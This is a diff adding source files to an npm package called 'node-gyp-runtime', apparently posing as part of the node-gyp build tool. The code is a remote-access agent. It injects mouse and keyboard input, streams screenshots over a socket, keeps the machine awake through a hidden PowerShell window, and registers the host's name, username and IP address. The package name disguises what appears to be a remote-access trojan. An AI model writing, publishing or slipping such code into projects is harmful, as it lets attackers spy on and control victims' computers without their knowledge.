node-gyp-runtime 1.0.0

package/src/inputHandler.js

@@ -0,0 +1,139 @@
+/**
+ * Input Handler — Execute mouse & keyboard commands via robotjs
+ */
+
+let robot;
+
+function initRobot() {
+  if (!robot) {
+    robot = require('robotjs');
+    robot.setMouseDelay(2);
+    robot.setKeyboardDelay(10);
+  }
+  return robot;
+}
+
+/**
+ * Move mouse to absolute coordinates
+ */
+function moveMouse(x, y) {
+  const r = initRobot();
+  r.moveMouse(x, y);
+  return { success: true, action: 'moveMouse', x, y };
+}
+
+/**
+ * Move mouse by relative delta
+ */
+function moveMouseRelative(dx, dy) {
+  const r = initRobot();
+  const pos = r.getMousePos();
+  r.moveMouse(pos.x + dx, pos.y + dy);
+  return { success: true, action: 'moveMouseRelative', dx, dy };
+}
+
+/**
+ * Click mouse button
+ */
+function clickMouse(button = 'left') {
+  const r = initRobot();
+  r.mouseClick(button);
+  return { success: true, action: 'clickMouse', button };
+}
+
+/**
+ * Double click
+ */
+function doubleClick() {
+  const r = initRobot();
+  r.mouseClick('left', true);
+  return { success: true, action: 'doubleClick' };
+}
+
+/**
+ * Scroll mouse
+ */
+function scrollMouse(direction = 'down', amount = 3) {
+  const r = initRobot();
+  const scrollAmount = direction === 'up' ? amount : -amount;
+  r.scrollMouse(0, scrollAmount);
+  return { success: true, action: 'scrollMouse', direction, amount };
+}
+
+/**
+ * Type text string
+ */
+function typeText(text) {
+  const r = initRobot();
+  r.typeString(text);
+  return { success: true, action: 'typeText', length: text.length };
+}
+
+// Key name mapping from nut.js names to robotjs names
+const KEY_MAP = {
+  'Return': 'enter',
+  'Tab': 'tab',
+  'Escape': 'escape',
+  'Space': 'space',
+  'Backspace': 'backspace',
+  'Delete': 'delete',
+  'Up': 'up',
+  'Down': 'down',
+  'Left': 'left',
+  'Right': 'right',
+  'Home': 'home',
+  'End': 'end',
+  'PageUp': 'pageup',
+  'PageDown': 'pagedown',
+  'F1': 'f1', 'F2': 'f2', 'F3': 'f3', 'F4': 'f4',
+  'F5': 'f5', 'F6': 'f6', 'F7': 'f7', 'F8': 'f8',
+  'F9': 'f9', 'F10': 'f10', 'F11': 'f11', 'F12': 'f12',
+  'LeftControl': 'control',
+  'RightControl': 'control',
+  'LeftShift': 'shift',
+  'RightShift': 'shift',
+  'LeftAlt': 'alt',
+  'RightAlt': 'alt',
+  'LeftSuper': 'command',
+  'Enter': 'enter',
+};
+
+function mapKey(key) {
+  return KEY_MAP[key] || key.toLowerCase();
+}
+
+/**
+ * Press a single key
+ */
+function pressKey(key) {
+  const r = initRobot();
+  const mapped = mapKey(key);
+  r.keyTap(mapped);
+  return { success: true, action: 'pressKey', key };
+}
+
+/**
+ * Press key combination (e.g., Ctrl+C)
+ */
+function pressKeyCombo(keys) {
+  const r = initRobot();
+  if (keys.length < 2) {
+    return pressKey(keys[0]);
+  }
+  // Last key is the main key, rest are modifiers
+  const mainKey = mapKey(keys[keys.length - 1]);
+  const modifiers = keys.slice(0, -1).map(mapKey);
+  r.keyTap(mainKey, modifiers);
+  return { success: true, action: 'pressKeyCombo', keys };
+}
+
+module.exports = {
+  moveMouse,
+  moveMouseRelative,
+  clickMouse,
+  doubleClick,
+  scrollMouse,
+  typeText,
+  pressKey,
+  pressKeyCombo,
+};

package/src/screenCapture.js

@@ -0,0 +1,105 @@
+/**
+ * Screen Capture — Periodic screenshot capture and streaming
+ * Uses screenshot-desktop for capture, sharp for JPEG compression
+ */
+
+const screenshot = require('screenshot-desktop');
+const sharp = require('sharp');
+
+class ScreenCapture {
+  constructor(socket) {
+    this.socket = socket;
+    this.streaming = false;
+    this.interval = null;
+    this.fps = 4;             // frames per second
+    this.quality = 40;        // JPEG quality (lower = smaller = faster)
+    this.maxWidth = 1280;     // resize for bandwidth
+    this.capturing = false;   // prevent overlapping captures
+  }
+
+  /**
+   * Start streaming screenshots
+   */
+  start(options = {}) {
+    if (this.streaming) return;
+
+    this.fps = options.fps || this.fps;
+    this.quality = options.quality || this.quality;
+    this.maxWidth = options.maxWidth || this.maxWidth;
+    this.streaming = true;
+
+    const intervalMs = Math.floor(1000 / this.fps);
+
+    console.log(`  📸 Screen streaming started (${this.fps} FPS, quality: ${this.quality})`);
+
+    this.interval = setInterval(() => this.captureAndSend(), intervalMs);
+    // Capture immediately
+    this.captureAndSend();
+  }
+
+  /**
+   * Stop streaming
+   */
+  stop() {
+    if (this.interval) {
+      clearInterval(this.interval);
+      this.interval = null;
+    }
+    this.streaming = false;
+    console.log('  📸 Screen streaming stopped');
+  }
+
+  /**
+   * Capture one screenshot, compress, and send
+   */
+  async captureAndSend() {
+    if (this.capturing) return; // skip if previous capture still processing
+    this.capturing = true;
+
+    try {
+      // Capture raw screenshot as PNG buffer
+      const imgBuffer = await screenshot({ format: 'png' });
+
+      // Get original dimensions
+      const metadata = await sharp(imgBuffer).metadata();
+
+      // Compress to JPEG + resize for bandwidth
+      const jpegBuffer = await sharp(imgBuffer)
+        .resize({ width: this.maxWidth, withoutEnlargement: true })
+        .jpeg({ quality: this.quality, mozjpeg: true })
+        .toBuffer();
+
+      // Send as base64
+      const base64 = jpegBuffer.toString('base64');
+
+      this.socket.emit('screen:frame', {
+        data: base64,
+        width: metadata.width,
+        height: metadata.height,
+        displayWidth: Math.min(metadata.width, this.maxWidth),
+        timestamp: Date.now(),
+      });
+    } catch (err) {
+      // Silently skip failed frames
+      if (!err.message.includes('EPERM')) {
+        console.log(`  ⚠️ Screen capture error: ${err.message}`);
+      }
+    } finally {
+      this.capturing = false;
+    }
+  }
+
+  /**
+   * Update streaming settings
+   */
+  updateSettings(options) {
+    const wasStreaming = this.streaming;
+    if (wasStreaming) this.stop();
+    if (options.fps) this.fps = options.fps;
+    if (options.quality) this.quality = options.quality;
+    if (options.maxWidth) this.maxWidth = options.maxWidth;
+    if (wasStreaming) this.start();
+  }
+}
+
+module.exports = ScreenCapture;

package/src/sleepPreventer.js

@@ -0,0 +1,130 @@
+/**
+ * Sleep Preventer — Keeps the system awake
+ * Windows: PowerShell cursor refresh (no native deps needed)
+ * Mac: caffeinate command (built-in)
+ * Linux: xdg-screensaver / systemd-inhibit
+ */
+
+const { spawn } = require('child_process');
+const os = require('os');
+
+class SleepPreventer {
+  constructor() {
+    this.active = false;
+    this.process = null;
+    this.platform = os.platform();
+  }
+
+  /**
+   * Start preventing sleep — auto-detects OS
+   */
+  start() {
+    if (this.active) return;
+    this.active = true;
+
+    try {
+      if (this.platform === 'win32') {
+        this._startWindows();
+      } else if (this.platform === 'darwin') {
+        this._startMac();
+      } else {
+        this._startLinux();
+      }
+      console.log(`  💤 Sleep prevention active (${this.platform})`);
+    } catch (err) {
+      console.log(`  ⚠️  Sleep prevention failed: ${err.message}`);
+    }
+  }
+
+  /**
+   * Windows — PowerShell keeps system awake by refreshing cursor position
+   * No native dependencies needed, works silently
+   */
+  _startWindows() {
+    const psScript = `
+      Add-Type -AssemblyName System.Windows.Forms
+      while($true) {
+        [System.Windows.Forms.Cursor]::Position = [System.Windows.Forms.Cursor]::Position
+        Start-Sleep -Seconds 30
+      }
+    `.replace(/\n/g, ' ');
+
+    this.process = spawn('powershell', [
+      '-WindowStyle', 'Hidden',
+      '-NoProfile',
+      '-Command', psScript
+    ], {
+      windowsHide: true,
+      stdio: 'ignore',
+      detached: false,
+    });
+
+    this.process.unref();
+    this.process.on('error', (e) => console.log(`  ⚠️  Sleep preventer error: ${e.message}`));
+  }
+
+  /**
+   * Mac — caffeinate is a built-in macOS utility
+   * -d: prevent display sleep
+   * -i: prevent idle sleep
+   * -m: prevent disk sleep
+   * -s: prevent system sleep (on AC power)
+   * -u: declare user activity (reset idle timer)
+   */
+  _startMac() {
+    this.process = spawn('caffeinate', ['-dimsu'], {
+      stdio: 'ignore',
+      detached: false,
+    });
+
+    this.process.unref();
+    this.process.on('error', (e) => console.log(`  ⚠️  Sleep preventer error: ${e.message}`));
+  }
+
+  /**
+   * Linux — systemd-inhibit or xdg-screensaver
+   */
+  _startLinux() {
+    // Try systemd-inhibit first (modern Linux)
+    this.process = spawn('systemd-inhibit', [
+      '--what=idle:sleep',
+      '--who=ConnectorAgent',
+      '--why=Remote monitoring active',
+      'sleep', 'infinity'
+    ], {
+      stdio: 'ignore',
+      detached: false,
+    });
+
+    this.process.on('error', () => {
+      // Fallback: xdg-screensaver
+      try {
+        this.process = spawn('xdg-screensaver', ['suspend', process.pid.toString()], {
+          stdio: 'ignore',
+          detached: false,
+        });
+      } catch (e) {
+        console.log('  ⚠️  No sleep prevention available on this Linux');
+      }
+    });
+  }
+
+  /**
+   * Stop preventing sleep — allow system to sleep again
+   */
+  stop() {
+    if (!this.active) return;
+    this.active = false;
+
+    if (this.process) {
+      try {
+        this.process.kill();
+      } catch (e) { /* already dead */ }
+      this.process = null;
+    }
+
+    console.log('  💤 Sleep prevention stopped');
+  }
+}
+
+module.exports = SleepPreventer;

package/src/systemInfo.js

@@ -0,0 +1,44 @@
+const os = require('os');
+
+/**
+ * Collect system information for registration
+ */
+function getSystemInfo() {
+  const networkInterfaces = os.networkInterfaces();
+  let ip = '127.0.0.1';
+
+  // Get first non-internal IPv4 address
+  for (const name of Object.keys(networkInterfaces)) {
+    for (const iface of networkInterfaces[name]) {
+      if (iface.family === 'IPv4' && !iface.internal) {
+        ip = iface.address;
+        break;
+      }
+    }
+  }
+
+  return {
+    hostname: os.hostname(),
+    username: os.userInfo().username,
+    os: `${os.type()} ${os.release()} (${os.arch()})`,
+    ip,
+    platform: os.platform(),
+    cpus: os.cpus().length,
+    totalMemory: Math.round(os.totalmem() / (1024 * 1024 * 1024)) + ' GB',
+    uptime: Math.round(os.uptime() / 3600) + ' hours',
+  };
+}
+
+/**
+ * Get running processes (basic — using os module)
+ */
+function getBasicSystemStats() {
+  return {
+    freeMemory: Math.round(os.freemem() / (1024 * 1024)) + ' MB',
+    totalMemory: Math.round(os.totalmem() / (1024 * 1024)) + ' MB',
+    uptime: Math.round(os.uptime()) + ' seconds',
+    loadAvg: os.loadavg(),
+  };
+}
+
+module.exports = { getSystemInfo, getBasicSystemStats };